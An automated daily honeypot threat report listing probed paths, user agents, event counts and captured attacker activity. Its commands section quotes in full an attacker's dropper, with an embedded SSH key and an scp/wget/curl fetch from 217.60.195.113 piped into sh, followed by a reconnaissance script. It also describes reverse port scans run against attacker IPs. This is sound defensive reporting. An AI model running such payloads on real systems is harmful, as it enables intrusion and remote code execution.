Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 4813494d137e1631
- 30eaa80e00533f32
- 8c6976e5b5410415
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 92 scanner requests from 9 unique IPs (local, offline).
Top Paths Probed
- /SDK/webLanguage
- /cgi-bin/authLogin.cgi
- /v2/_catalog
- /solr/admin/cores?action=STATUS&wt=json
- /.git/config
Top User-Agents
- Mozilla/5.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
- Go-http-client/1.1
- Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **12** reverse port-scans against active attacker IPs. Out of these, **12** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 122 IPs → AbuseIPDB (community confidence scores updated) → 122 IPs → AlienVault OTX (pulse indicators added) → 122 IPs → Blocklist.de (auto-ban list updated) → 122 IPs → DShield/SANS (global threat feed updated)
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
4813494d137e1631 30eaa80e00533f32 8c6976e5b5410415 💻 Commands They Tried
uname -s -m /bin/./uname -s -v -n -r -m uname -a uname -a; echo -e $_dq\x61\x75\x74\x68\x5F\x6F\x6B\x0A$_dq; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9 Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU= -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null) arch=$(uname -m 2>/dev/null) uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1) cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) | head -1) cpu_model=$( (grep -m1 -E $_dqmodel name|Hardware$_dq /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,$_dq$_dq,$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50) cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1) ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1) last_output=$(last 2>/dev/null | head -n 10) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqCAT_HELP:$cat_help$_dq echo $_dqLS_HELP:$ls_help$_dq echo $_dqLAST:$last_output$_dq These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 22 de junio de 2026. Recorded 471 SSH connections and 2635 multi-protocol decoy events on HoneyAI, from 127 unique IPs. 122 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 378 login attempts from 37 unique IPs. Attackers executed 93 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 2635 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 90 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 92 HTTP requests from real scanners across 9 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 2 requests from 2 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 19 authentication events from 2 IPs. The SNMP trap received 41 queries from 19 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 12 reverse port scans back to active attacker IPs. Out of these, 12 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 17494 alerts from 560 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.